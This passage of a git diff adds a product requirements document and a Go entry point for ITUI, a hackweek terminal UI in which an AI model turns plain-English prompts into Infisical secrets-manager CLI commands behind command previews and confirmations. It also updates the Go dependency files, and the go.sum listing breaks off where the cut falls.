diff --git a/.gitignore b/.gitignore index d56f441a..0987091f 100644 --- a/.gitignore +++ b/.gitignore @@ -10,4 +10,4 @@ test/infisical-merge .DS_Store -/agent-testing \ No newline at end of file +.claude/worktrees/ diff --git a/ITUI-PRD.docx.md b/ITUI-PRD.docx.md new file mode 100644 index 00000000..da8816f5 --- /dev/null +++ b/ITUI-PRD.docx.md @@ -0,0 +1,314 @@ + + +**ITUI** + +Infisical Terminal UI + +Product Requirements Document + +Hackweek Project | v1.0 + +February 2025 + +| Field | Details | +| :---- | :---- | +| Project Name | ITUI – Infisical Terminal UI | +| Project Type | Hackweek Prototype | +| Target Users | Developers & DevOps Engineers | +| Platform | Cross-platform CLI (macOS, Linux, Windows) | +| Core Tech Stack | Go \+ Bubble Tea TUI framework \+ Claude AI API | +| Status | Draft | + +# **1\. Executive Summary** + +ITUI is an AI-powered terminal user interface that sits on top of the Infisical CLI. Instead of requiring users to know exact flag syntax, ITUI lets engineers type plain English prompts like show me all production secrets or compare staging vs prod \-- and the AI layer translates those prompts into Infisical CLI commands, executes them, and presents results in a rich interactive terminal UI. + +The end state is a TUI where developers can prompt-engineer their way through Infisical without ever needing to look up documentation. + +# **2\. Problem Statement** + +## **2.1 Current Pain Points** + +* The Infisical CLI has a broad command surface (secrets, auth, scan, export, run, agent, vault, etc.) that requires constant documentation lookup. + +* Flags and options are numerous and non-obvious (--env, \--projectId, \--path, \--type, \--include-imports, etc.). + +* There is no interactive exploration mode — every action requires a fully-formed command upfront. + +* Switching between environments, projects, and paths requires mental tracking of context. + +* New team members face a steep onboarding cliff before they can be productive with secrets management. + +## **2.2 Opportunity** + +LLMs are exceptionally good at translating natural language intent into structured CLI commands. By wrapping the Infisical CLI with an AI-mediated TUI, we can radically lower the barrier to entry while also speeding up power-user workflows through intelligent autocomplete, context awareness, and multi-step orchestration. + +# **3\. Goals & Success Metrics** + +| Goal | Metric | Target | +| :---- | :---- | :---- | +| Reduce time-to-first-action | Time from launch to first successful secret retrieval | \< 30 seconds for new user | +| Reduce CLI lookup friction | \# of documentation tab-switches during session | 0 for common tasks | +| High task completion via NL | % of natural language prompts that execute successfully | \> 85% on core commands | +| Positive demo reception | Hackweek audience vote or internal NPS | Top 3 project | +| Functional prototype | Core feature set working end-to-end | All P0 features shipped | + +# **4\. User Personas** + +## **4.1 The Developer (Primary)** + +* Mid-level engineer who uses Infisical daily but never memorizes flag syntax. + +* Wants to quickly fetch, update, or compare secrets across environments. + +* Comfortable in the terminal but frustrated by documentation friction. + +* Prompt: "Get me all secrets in staging that don't exist in prod" + +## **4.2 The DevOps / Platform Engineer** + +* Manages secrets at scale across many projects and environments. + +* Needs to audit, rotate, and export secrets efficiently. + +* Wants to script and automate but also explore interactively. + +* Prompt: "Scan this repo for any hardcoded secrets and show me the results" + +## **4.3 The New Team Member (Onboarding)** + +* Just got Infisical access and doesn't know the CLI at all. + +* Needs guardrails and discoverability — ITUI acts as an intelligent guide. + +* Prompt: "What can I do here?" or "Show me the secrets for the backend service" + +# **5\. Feature Specification** + +## **5.1 Core Architecture** + +ITUI is a standalone Go binary that launches an interactive terminal UI session. It maintains a persistent context (authenticated user, active project, active environment) and exposes a prompt interface backed by an AI model that maps natural language to Infisical CLI subcommands. + +| Layer | Technology | Responsibility | +| :---- | :---- | :---- | +| TUI Framework | Bubble Tea (Go) | Rendering, keyboard input, pane management | +| AI Inference | Claude API (claude-sonnet-4-6) | NL → CLI command translation | +| CLI Execution | Infisical CLI (subprocess) | All actual Infisical operations | +| Config / State | Local config file \+ session state | Auth tokens, active context | +| Output Rendering | Lip Gloss (Go) | Colors, tables, formatting | + +## **5.2 Feature Breakdown by Priority** + +### **P0 — Must Ship (Hackweek Demo)** + +| Feature | Description | Infisical Commands Mapped | +| :---- | :---- | :---- | +| AI Prompt Bar | Persistent input bar at the bottom of the TUI where users type natural language. AI translates to CLI commands and executes. | All | +| Context Panel | Persistent sidebar/header showing current: User, Project, Environment, Path | infisical user, infisical projects | +| Secret Browser | Scrollable, searchable list of secrets in the current context. Supports keyboard navigation. | infisical secrets get, infisical secrets list | +| Secret Detail View | On-select, expand a secret to show its value (masked by default), type, version, and last modified. | infisical secrets get \ | +| Create / Update Secret | Prompted form (or natural language) to create or update a secret. | infisical secrets set \=\ | +| Delete Secret | Confirmation dialog before deletion. | infisical secrets delete \ | +| Environment Switcher | Quick-switch between environments (dev, staging, prod, etc.) with keyboard shortcut. | Context: \--env flag | +| Command Preview | Before executing AI-generated commands, show the exact CLI command that will run so users can learn and verify. | All — transparency layer | +| Output Pane | Scrollable output/results panel showing command stdout/stderr with syntax highlighting. | All | +| Authentication Flow | Detect if user is not logged in and guide them through login inline. | infisical login | + +### **P1 — High Value (Stretch Goals)** + +| Feature | Description | +| :---- | :---- | +| Multi-env Diff View | Side-by-side comparison of secrets across two environments. AI prompt: "diff staging and prod". | +| Secret Scanning | Trigger infisical scan on a provided path and display results inline with file \+ line references. | +| Export Modal | Export current secret set to .env, JSON, or YAML with format picker. | +| Import Secrets | Bulk import from a .env file, with conflict resolution UI. | +| Conversation History | Keep a scrollable log of all prompts \+ generated commands \+ results in the session. | +| Keyboard Shortcut Cheatsheet | Press '?' to show a modal of all keyboard shortcuts and common prompt examples. | +| Project Switcher | Browse and switch between Infisical projects without leaving the TUI. | + +### **P2 — Future Vision** + +| Feature | Description | +| :---- | :---- | +| Secret Rotation | AI-mediated secret rotation workflows with rollback safety. | +| Agent Config Builder | Visual editor for Infisical agent YAML config files. | +| Audit Log Viewer | Browse the secret access audit log from within the TUI. | +| Dynamic Secret Support | Request and view dynamic secrets (DB credentials, cloud tokens) via TUI. | +| Team / Access Management | View and manage project member permissions. | +| Folder / Path Navigator | Tree-view navigation of secret folder hierarchy. | + +# **6\. AI Prompt System Design** + +## **6.1 How It Works** + +When a user types a natural language prompt, ITUI sends the following context to the Claude API: + +* System prompt: Defines ITUI's role as an Infisical CLI command translator, provides full CLI command reference, current session context (project, env, path), and safety rules. + +* User message: The raw natural language prompt from the user. + +* Claude responds with: (a) the exact Infisical CLI command(s) to run, (b) a plain-English explanation of what will happen, and (c) a safety classification (read-only vs. destructive). + +## **6.2 Prompt Examples & Expected Command Mappings** + +| User Prompt | Generated CLI Command | Action Type | +| :---- | :---- | :---- | +| Show me all production secrets | infisical secrets get \--env=prod | Read | +| Set DATABASE\_URL to postgres://... in staging | infisical secrets set DATABASE\_URL='postgres://...' \--env=staging | Write | +| Delete the old API key in dev | infisical secrets delete OLD\_API\_KEY \--env=dev | Destructive | +| Compare secrets between staging and prod | infisical secrets get \--env=staging \+ infisical secrets get \--env=prod (diff) | Read | +| Scan my current directory for leaked secrets | infisical scan . | Read | +| Export all dev secrets as a .env file | infisical export \--env=dev \--format=dotenv | Read | +| Who am I logged in as? | infisical user | Read | +| Run my app with prod secrets injected | infisical run \--env=prod \-- \ | Read | +| Show me secrets under /backend/database | infisical secrets get \--env=prod \--path=/backend/database | Read | +| What can I do here? | (No command — AI explains TUI capabilities) | Meta | + +## **6.3 Safety Gates** + +* All destructive operations (set, delete, rotate) require a confirmation prompt showing the exact command before execution. + +* The AI is instructed to always classify commands as read-only or destructive and surface that classification to the user. + +* Production environment operations get an additional visual warning banner. + +* The user can press Escape to cancel any pending command before it runs. + +# **7\. UX & Interface Design** + +## **7.1 Layout** + +The TUI is divided into four persistent regions: + +┌─────────────────────────────────────────────────────┐ +│ ITUI | Project: backend-api | Env: production │ ← Context Bar +├────────────────────────┬────────────────────────────┤ +│ Secret Browser │ Output / Detail Pane │ ← Main Content +│ \> DATABASE\_URL ████ │ Key: DATABASE\_URL │ +│ API\_KEY ████ │ Value: ●●●●●●●● \[reveal\] │ +│ REDIS\_URL ████ │ Env: production │ +│ JWT\_SECRET ████ │ Path: / │ +├────────────────────────┴────────────────────────────┤ +│ 🤖 Prompt: show me all secrets that start with DB\_ │ ← AI Prompt Bar +│ ⌨ Will run: infisical secrets get \--env=prod │ ← Command Preview +└─────────────────────────────────────────────────────┘ + +## **7.2 Keyboard Shortcuts** + +| Key | Action | +| :---- | :---- | +| Tab / Shift+Tab | Switch focus between panes | +| ↑ / ↓ | Navigate secret list | +| Enter | Select / expand secret detail | +| / or Ctrl+F | Focus search / filter in secret browser | +| e | Switch environment (opens picker) | +| p | Switch project | +| n | New secret (opens creation form) | +| d | Delete selected secret (with confirmation) | +| r | Reveal / mask secret value | +| Ctrl+E | Export secrets (opens format picker) | +| Ctrl+P | Focus AI prompt bar | +| ? | Open help / cheatsheet modal | +| q / Ctrl+C | Quit ITUI | + +# **8\. Technical Specification** + +## **8.1 Tech Stack** + +| Component | Technology | Notes | +| :---- | :---- | :---- | +| Language | Go 1.22+ | Same as Infisical CLI — easy to co-locate | +| TUI Framework | Bubble Tea (Charm) | Component model, event loop, composable views | +| Styling | Lip Gloss (Charm) | Color themes, borders, layout primitives | +| Spinners / Progress | Bubbles (Charm) | Pre-built TUI components | +| AI Integration | Anthropic Claude API | claude-sonnet-4-6, \~1000 token responses | +| CLI Execution | os/exec (Go stdlib) | Subprocess calls to infisical binary | +| Config Storage | \~/.itui/config.toml | Session state, API key, preferences | +| Fuzzy Search | go-fuzzyfinder or sahilm/fuzzy | Secret list filtering | + +## **8.2 Key Go Modules** + +* github.com/charmbracelet/bubbletea — TUI framework + +* github.com/charmbracelet/lipgloss — styling + +* github.com/charmbracelet/bubbles — text inputs, spinners, tables, viewports + +* github.com/anthropics/anthropic-sdk-go — Claude API client + +* github.com/spf13/viper — config management + +## **8.3 System Prompt Design** + +The AI system prompt is the backbone of ITUI's intelligence. It will include: + +* Role definition: "You are an assistant embedded in ITUI, a terminal UI for Infisical. Your job is to translate user natural language prompts into exact Infisical CLI commands." + +* Full Infisical CLI command reference (injected at runtime). + +* Current session context (project ID, environment, path, logged-in user). + +* Response format spec: JSON with fields: command (string or array), explanation (string), action\_type (read | write | destructive), requires\_confirmation (bool). + +* Safety rules: Never generate commands that bypass authentication. Always flag destructive operations. Ask clarifying questions if intent is ambiguous. + +## **8.4 Command Execution Model** + +All Infisical CLI calls are made via subprocess (exec.Command). ITUI captures stdout and stderr separately. Results are streamed into the Output pane in real time. For destructive commands, execution is held pending user confirmation (Y/n). ITUI never directly calls the Infisical API — it only shells out to the existing CLI binary to ensure auth, caching, and behavior parity. + +# **9\. Hackweek Execution Plan** + +| Day | Focus | Deliverables | +| :---- | :---- | :---- | +| Day 1 — Morning | Setup & Scaffolding | Go project init, Bubble Tea hello world, basic layout with 3 panes | +| Day 1 — Afternoon | Core TUI Layout | Context bar, secret browser pane with dummy data, output pane, keyboard nav | +| Day 2 — Morning | Infisical CLI Integration | subprocess execution, real secret list, env switcher, secret detail view | +| Day 2 — Afternoon | AI Prompt Bar | Claude API integration, NL → command translation, command preview strip | +| Day 3 — Morning | Write Operations | Create, update, delete secrets via prompt and keyboard shortcuts | +| Day 3 — Afternoon | Polish \+ P1 Features | Multi-env diff, scan view, styling, help modal | +| Day 4 | Demo Prep | End-to-end run-through, fix critical bugs, record demo video | + +# **10\. Risks & Mitigations** + +| Risk | Likelihood | Impact | Mitigation | +| :---- | :---- | :---- | :---- | +| AI generates incorrect CLI commands | Medium | High | Command preview pane \+ confirmation step. Constrain system prompt with exact CLI reference. | +| Infisical CLI output format changes | Low | Medium | Pin to known CLI version in dev. Parse JSON output flags where available. | +| TUI rendering issues on Windows | Medium | Low | Primarily target macOS/Linux for hackweek. Windows is P2. | +| API latency makes AI feel slow | Medium | Medium | Show a spinner immediately. Use streaming response if possible. Cache common translations. | +| Auth token management complexity | Low | High | Delegate entirely to infisical CLI — ITUI never handles tokens directly. | +| Scope creep during hackweek | High | High | Hard cut: P0 features only for Days 1-3. P1 only if P0 is fully green. | + +# **11\. Out of Scope (Hackweek)** + +* Direct Infisical API calls (all operations go through the CLI binary). + +* Full Windows support (TUI rendering varies — nice to have post-hackweek). + +* Multi-user collaboration features. + +* CI/CD pipeline integration or agent mode from within ITUI. + +* Custom theme / color scheme configuration. + +* Plugin or extension system. + +# **12\. Appendix: Infisical CLI Command Reference** + +Key commands that ITUI will map natural language to: + +| Command | Description | +| :---- | :---- | +| infisical login | Authenticate with Infisical Cloud or self-hosted instance | +| infisical user | Display current authenticated user info | +| infisical projects | List available projects | +| infisical secrets get \[--env\] \[--path\] \[--projectId\] | List/get secrets in current context | +| infisical secrets set KEY=VALUE \[--env\] \[--path\] | Create or update a secret | +| infisical secrets delete KEY \[--env\] \[--path\] | Delete a secret by key | +| infisical export \[--env\] \[--format=dotenv|json|yaml\] | Export secrets to a file format | +| infisical run \[--env\] \-- \ | Inject secrets into a subprocess as env vars | +| infisical scan \[path\] | Scan directory/git history for hardcoded secrets | +| infisical agent \--config=\ | Start the Infisical agent with a config file | +| infisical vault \[set|get\] | Manage vault backend configuration | + +*— End of Document —* \ No newline at end of file diff --git a/cmd/itui/main.go b/cmd/itui/main.go new file mode 100644 index 00000000..993850d4 --- /dev/null +++ b/cmd/itui/main.go @@ -0,0 +1,15 @@ +package main + +import ( + "fmt" + "os" + + "github.com/Infisical/infisical-merge/packages/itui" +) + +func main() { + if err := itui.Run(); err != nil { + fmt.Fprintf(os.Stderr, "Error: %v\n", err) + os.Exit(1) + } +} diff --git a/go.mod b/go.mod index 78362488..15935b6c 100644 --- a/go.mod +++ b/go.mod @@ -7,7 +7,9 @@ require ( github.com/Masterminds/sprig/v3 v3.3.0 github.com/awnumar/memguard v0.23.0 github.com/bradleyjkemp/cupaloy/v2 v2.8.0 - github.com/charmbracelet/lipgloss v0.9.1 + github.com/charmbracelet/bubbles v1.0.0 + github.com/charmbracelet/bubbletea v1.3.10 + github.com/charmbracelet/lipgloss v1.1.0 github.com/creack/pty v1.1.21 github.com/denisbrodbeck/machineid v1.0.1 github.com/dgraph-io/badger/v3 v3.2103.5 @@ -20,7 +22,7 @@ require ( github.com/infisical/infisical-kmip v0.3.17 github.com/jackc/pgx/v5 v5.7.6 github.com/mattn/go-isatty v0.0.20 - github.com/muesli/ansi v0.0.0-20221106050444-61f0cd9a192a + github.com/muesli/ansi v0.0.0-20230316100256-276c6243b2f6 github.com/muesli/mango-cobra v1.2.0 github.com/muesli/reflow v0.3.0 github.com/muesli/roff v0.1.0 @@ -40,8 +42,9 @@ require ( github.com/wasilibs/go-re2 v1.10.0 golang.org/x/crypto v0.43.0 golang.org/x/exp v0.0.0-20250228200357-dead58393ab7 - golang.org/x/sys v0.37.0 + golang.org/x/sys v0.38.0 golang.org/x/term v0.36.0 + google.golang.org/genai v1.47.0 gopkg.in/yaml.v2 v2.4.0 gopkg.in/yaml.v3 v3.0.1 k8s.io/api v0.31.4 @@ -50,16 +53,18 @@ require ( ) require ( - cloud.google.com/go/auth v0.7.0 // indirect - cloud.google.com/go/auth/oauth2adapt v0.2.2 // indirect - cloud.google.com/go/compute/metadata v0.4.0 // indirect - cloud.google.com/go/iam v1.1.11 // indirect + cloud.google.com/go v0.116.0 // indirect + cloud.google.com/go/auth v0.9.3 // indirect + cloud.google.com/go/auth/oauth2adapt v0.2.4 // indirect + cloud.google.com/go/compute/metadata v0.5.0 // indirect + cloud.google.com/go/iam v1.2.0 // indirect dario.cat/mergo v1.0.1 // indirect filippo.io/edwards25519 v1.1.0 // indirect github.com/Masterminds/goutils v1.1.1 // indirect github.com/Masterminds/semver/v3 v3.3.0 // indirect github.com/alessio/shellescape v1.4.1 // indirect github.com/asaskevich/govalidator v0.0.0-20200907205600-7a23bdc65eef // indirect + github.com/atotto/clipboard v0.1.4 // indirect github.com/awnumar/memcall v0.4.0 // indirect github.com/aws/aws-sdk-go-v2 v1.27.2 // indirect github.com/aws/aws-sdk-go-v2/config v1.27.18 // indirect @@ -77,14 +82,22 @@ require ( github.com/aymanbagabas/go-osc52/v2 v2.0.1 // indirect github.com/cespare/xxhash v1.1.0 // indirect github.com/cespare/xxhash/v2 v2.3.0 // indirect + github.com/charmbracelet/colorprofile v0.4.1 // indirect + github.com/charmbracelet/x/ansi v0.11.6 // indirect + github.com/charmbracelet/x/cellbuf v0.0.15 // indirect + github.com/charmbracelet/x/term v0.2.2 // indirect github.com/chzyer/readline v1.5.1 // indirect + github.com/clipperhouse/displaywidth v0.9.0 // indirect + github.com/clipperhouse/stringish v0.1.1 // indirect + github.com/clipperhouse/uax29/v2 v2.5.0 // indirect github.com/danieljoos/wincred v1.2.0 // indirect github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc // indirect github.com/dgraph-io/ristretto v0.1.1 // indirect - github.com/dustin/go-humanize v1.0.0 // indirect + github.com/dustin/go-humanize v1.0.1 // indirect github.com/dvsekhvalnov/jose2go v1.7.0 // indirect github.com/emicklei/go-restful/v3 v3.11.0 // indirect github.com/emirpasic/gods v1.12.0 // indirect + github.com/erikgeiser/coninput v0.0.0-20211004153227-1c3628e74d0f // indirect github.com/felixge/httpsnoop v1.0.4 // indirect github.com/fsnotify/fsnotify v1.4.9 // indirect github.com/fxamacker/cbor/v2 v2.7.0 // indirect @@ -99,18 +112,19 @@ require ( github.com/godbus/dbus/v5 v5.1.0 // indirect github.com/gofrs/flock v0.8.1 // indirect github.com/gogo/protobuf v1.3.2 // indirect - github.com/golang/glog v1.2.0 // indirect + github.com/golang/glog v1.2.1 // indirect github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da // indirect github.com/golang/protobuf v1.5.4 // indirect - github.com/golang/snappy v0.0.3 // indirect + github.com/golang/snappy v0.0.4 // indirect github.com/google/flatbuffers v1.12.1 // indirect github.com/google/gnostic-models v0.6.9 // indirect github.com/google/go-cmp v0.7.0 // indirect github.com/google/gofuzz v1.2.0 // indirect github.com/google/pprof v0.0.0-20250302191652-9094ed2288e7 // indirect - github.com/google/s2a-go v0.1.7 // indirect - github.com/googleapis/enterprise-certificate-proxy v0.3.2 // indirect - github.com/googleapis/gax-go/v2 v2.12.5 // indirect + github.com/google/s2a-go v0.1.8 // indirect + github.com/googleapis/enterprise-certificate-proxy v0.3.4 // indirect + github.com/googleapis/gax-go/v2 v2.13.0 // indirect + github.com/gorilla/websocket v1.5.3 // indirect github.com/gosimple/slug v1.15.0 // indirect github.com/gosimple/unidecode v1.0.1 // indirect github.com/hashicorp/golang-lru/v2 v2.0.7 // indirect @@ -120,20 +134,22 @@ require ( github.com/josharian/intern v1.0.0 // indirect github.com/json-iterator/go v1.1.12 // indirect github.com/klauspost/compress v1.17.8 // indirect - github.com/lucasb-eyer/go-colorful v1.2.0 // indirect + github.com/lucasb-eyer/go-colorful v1.3.0 // indirect github.com/magiconair/properties v1.8.5 // indirect github.com/mailru/easyjson v0.7.7 // indirect github.com/mattn/go-colorable v0.1.13 // indirect - github.com/mattn/go-runewidth v0.0.15 // indirect + github.com/mattn/go-localereader v0.0.1 // indirect + github.com/mattn/go-runewidth v0.0.19 // indirect github.com/mitchellh/copystructure v1.2.0 // indirect github.com/mitchellh/mapstructure v1.4.1 // indirect github.com/mitchellh/reflectwalk v1.0.2 // indirect github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect github.com/modern-go/reflect2 v1.0.2 // indirect github.com/mtibben/percent v0.2.1 // indirect + github.com/muesli/cancelreader v0.2.2 // indirect github.com/muesli/mango v0.1.0 // indirect github.com/muesli/mango-pflag v0.1.0 // indirect - github.com/muesli/termenv v0.15.2 // indirect + github.com/muesli/termenv v0.16.0 // indirect github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect github.com/oklog/ulid v1.3.1 // indirect github.com/onsi/ginkgo/v2 v2.22.2 // indirect @@ -147,7 +163,8 @@ require ( github.com/pion/stun/v3 v3.0.0 // indirect github.com/pion/transport/v3 v3.0.7 // indirect github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 // indirect - github.com/rivo/uniseg v0.2.0 // indirect + github.com/rivo/uniseg v0.4.7 // indirect + github.com/sahilm/fuzzy v0.1.1 // indirect github.com/shopspring/decimal v1.4.0 // indirect github.com/sony/gobreaker v0.5.0 // indirect github.com/spf13/afero v1.6.0 // indirect @@ -158,15 +175,16 @@ require ( github.com/wasilibs/wazero-helpers v0.0.0-20240620070341-3dff1577cd52 // indirect github.com/wlynxg/anet v0.0.5 // indirect github.com/x448/float16 v0.8.4 // indirect + github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e // indirect github.com/xtgo/uuid v0.0.0-20140804021211-a0b114877d4c // indirect github.com/youmark/pkcs8 v0.0.0-20240726163527-a2c0da244d78 // indirect go.mongodb.org/mongo-driver v1.10.0 // indirect go.opencensus.io v0.24.0 // indirect - go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.49.0 // indirect - go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.49.0 // indirect - go.opentelemetry.io/otel v1.24.0 // indirect - go.opentelemetry.io/otel/metric v1.24.0 // indirect - go.opentelemetry.io/otel/trace v1.24.0 // indirect + go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.54.0 // indirect + go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.54.0 // indirect + go.opentelemetry.io/otel v1.29.0 // indirect + go.opentelemetry.io/otel/metric v1.29.0 // indirect + go.opentelemetry.io/otel/trace v1.29.0 // indirect go.uber.org/atomic v1.11.0 // indirect go.uber.org/mock v0.5.0 // indirect go.uber.org/multierr v1.11.0 // indirect @@ -178,10 +196,10 @@ require ( golang.org/x/text v0.30.0 // indirect golang.org/x/time v0.9.0 // indirect golang.org/x/tools v0.37.0 // indirect - google.golang.org/api v0.188.0 // indirect - google.golang.org/genproto/googleapis/api v0.0.0-20240701130421-f6361c86f094 // indirect - google.golang.org/genproto/googleapis/rpc v0.0.0-20240708141625-4ad9e859172b // indirect - google.golang.org/grpc v1.64.1 // indirect + google.golang.org/api v0.197.0 // indirect + google.golang.org/genproto/googleapis/api v0.0.0-20240903143218-8af14fe29dc1 // indirect + google.golang.org/genproto/googleapis/rpc v0.0.0-20240903143218-8af14fe29dc1 // indirect + google.golang.org/grpc v1.66.2 // indirect google.golang.org/protobuf v1.36.5 // indirect gopkg.in/inf.v0 v0.9.1 // indirect gopkg.in/ini.v1 v1.62.0 // indirect diff --git a/go.sum b/go.sum index 783e9070..18b31544 100644 --- a/go.sum +++ b/go.sum @@ -18,23 +18,25 @@ cloud.google.com/go v0.74.0/go.mod h1:VV1xSbzvo+9QJOxLDaJfTjx5e+MePCpCWwvftOeQmW cloud.google.com/go v0.78.0/go.mod h1:QjdrLG0uq+YwhjoVOLsS1t7TW8fs36kLs4XO5R5ECHg= cloud.google.com/go v0.79.0/go.mod h1:3bzgcEeQlzbuEAYu4mrWhKqWjmpprinYgKJLgKHnbb8= cloud.google.com/go v0.81.0/go.mod h1:mk/AM35KwGk/Nm2YSeZbxXdrNK3KZOYHmLkOqC2V6E0= -cloud.google.com/go/auth v0.7.0 h1:kf/x9B3WTbBUHkC+1VS8wwwli9TzhSt0vSTVBmMR8Ts= -cloud.google.com/go/auth v0.7.0/go.mod h1:D+WqdrpcjmiCgWrXmLLxOVq1GACoE36chW6KXoEvuIw= -cloud.google.com/go/auth/oauth2adapt v0.2.2 h1:+TTV8aXpjeChS9M+aTtN/TjdQnzJvmzKFt//oWu7HX4= -cloud.google.com/go/auth/oauth2adapt v0.2.2/go.mod h1:wcYjgpZI9+Yu7LyYBg4pqSiaRkfEK3GQcpb7C/uyF1Q= +cloud.google.com/go v0.116.0 h1:B3fRrSDkLRt5qSHWe40ERJvhvnQwdZiHu0bJOpldweE= +cloud.google.com/go v0.116.0/go.mod h1:cEPSRWPzZEswwdr9BxE6ChEn01dWlTaF05LiC2Xs70U= +cloud.google.com/go/auth v0.9.3 h1:VOEUIAADkkLtyfr3BLa3R8Ed/j6w1jTBmARx+wb5w5U= +cloud.google.com/go/auth v0.9.3/go.mod h1:7z6VY+7h3KUdRov5F1i8NDP5ZzWKYmEPO842BgCsmTk= +cloud.google.com/go/auth/oauth2adapt v0.2.4 h1:0GWE/FUsXhf6C+jAkWgYm7X9tK8cuEIfy19DBn6B6bY= +cloud.google.com/go/auth/oauth2adapt v0.2.4/go.mod h1:jC/jOpwFP6JBxhB3P5Rr0a9HLMC/Pe3eaL4NmdvqPtc= cloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o= cloud.google.com/go/bigquery v1.3.0/go.mod h1:PjpwJnslEMmckchkHFfq+HTD2DmtT67aNFKH1/VBDHE= cloud.google.com/go/bigquery v1.4.0/go.mod h1:S8dzgnTigyfTmLBfrtrhyYhwRxG72rYxvftPBK2Dvzc= cloud.google.com/go/bigquery v1.5.0/go.mod h1:snEHRnqQbz117VIFhE8bmtwIDY80NLUZUMb4Nv6dBIg= cloud.google.com/go/bigquery v1.7.0/go.mod h1://okPTzCYNXSlb24MZs83e2Do+h+VXtc4gLoIoXIAPc= cloud.google.com/go/bigquery v1.8.0/go.mod h1:J5hqkt3O0uAFnINi6JXValWIb1v0goeZM77hZzJN/fQ= -cloud.google.com/go/compute/metadata v0.4.0 h1:vHzJCWaM4g8XIcm8kopr3XmDA4Gy/lblD3EhhSux05c= -cloud.google.com/go/compute/metadata v0.4.0/go.mod h1:SIQh1Kkb4ZJ8zJ874fqVkslA29PRXuleyj6vOzlbK7M= +cloud.google.com/go/compute/metadata v0.5.0 h1:Zr0eK8JbFv6+Wi4ilXAR8FJ3wyNdpxHKJNPos6LTZOY= +cloud.google.com/go/compute/metadata v0.5.0/go.mod h1:aHnloV2TPI38yx4s9+wAZhHykWvVCfu7hQbF+9CWoiY= cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE= cloud.google.com/go/datastore v1.1.0/go.mod h1:umbIZjpQpHh4hmRpGhH4tLFup+FVzqBi1b3c64qFpCk= cloud.google.com/go/firestore v1.1.0/go.mod h1:ulACoGHTpvq5r8rxGJ4ddJZBZqakUQqClKRT5SZwBmk= -cloud.google.com/go/iam v1.1.11 h1:0mQ8UKSfdHLut6pH9FM3bI55KWR46ketn0PuXleDyxw= -cloud.google.com/go/iam v1.1.11/go.mod h1:biXoiLWYIKntto2joP+62sd9uW5EpkZmKIvfNcTWlnQ= +cloud.google.com/go/iam v1.2.0 h1:kZKMKVNk/IsSSc/udOb83K0hL/Yh/Gcqpz+oAkoIFN8= +cloud.google.com/go/iam v1.2.0/go.mod h1:zITGuWgsLZxd8OwAlX+eMFgZDXzBm7icj1PVTYG766Q= cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I= cloud.google.com/go/pubsub v1.1.0/go.mod h1:EwwdRX2sKPjnvnqCa270oGRyludottCI76h+R3AArQw= cloud.google.com/go/pubsub v1.2.0/go.mod h1:jhfEVHT8odbXTkndysNHCcx0awwzvfOlguIAii9o8iA= @@ -74,6 +76,8 @@ github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmV github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8= github.com/asaskevich/govalidator v0.0.0-20200907205600-7a23bdc65eef h1:46PFijGLmAjMPwCCCo7Jf0W6f9slllCkkv7vyc1yOSg= github.com/asaskevich/govalidator v0.0.0-20200907205600-7a23bdc65eef/go.mod h1:WaHUgvxTVq04UNunO+XhnAqY/wQc+bxr74GqbsZ/Jqw= +github.com/atotto/clipboard v0.1.4 h1:EH0zSVneZPSuFR11BlR9YppQTVDbh5+16AmcJi4g1z4= +github.com/atotto/clipboard v0.1.4/go.mod h1:ZY9tmq7sm5xIbd9bOK4onWV4S6X0u6GY7Vn0Yu86PYI= github.com/awnumar/memcall v0.4.0 h1:B7hgZYdfH6Ot1Goaz8jGne/7i8xD4taZie/PNSFZ29g= github.com/awnumar/memcall v0.4.0/go.mod h1:8xOx1YbfyuCg3Fy6TO8DK0kZUua3V42/goA5Ru47E8w= github.com/awnumar/memguard v0.23.0 h1:sJ3a1/SWlcuKIQ7MV+R9p0Pvo9CWsMbGZvcZQtmc68A= @@ -106,6 +110,8 @@ github.com/aws/smithy-go v1.20.2 h1:tbp628ireGtzcHDDmLT/6ADHidqnwgF57XOXZe6tp4Q= github.com/aws/smithy-go v1.20.2/go.mod h1:krry+ya/rV9RDcV/Q16kpu6ypI4K2czasz0NC3qS14E= github.com/aymanbagabas/go-osc52/v2 v2.0.1 h1:HwpRHbFMcZLEVr42D4p7XBqjyuxQH5SMiErDT4WkJ2k= github.com/aymanbagabas/go-osc52/v2 v2.0.1/go.mod h1:uYgXzlJ7ZpABp8OJ+exZzJJhRNQ2ASbcXHWsFqH8hp8= +github.com/aymanbagabas/go-udiff v0.3.1 h1:LV+qyBQ2pqe0u42ZsUEtPiCaUoqgA9gYRDs3vj1nolY= +github.com/aymanbagabas/go-udiff v0.3.1/go.mod h1:G0fsKmG+P6ylD0r6N/KgQD/nWzgfnl8ZBcNLgcbrw8E= github.com/benbjohnson/clock v1.1.0/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZxNJlLklBHA= github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs= github.com/bketelsen/crypt v0.0.4/go.mod h1:aI6NrJ0pMGgvZKL1iVgXLnfIFJtfV+bKCoqOes/6LfM= @@ -117,8 +123,22 @@ github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghf 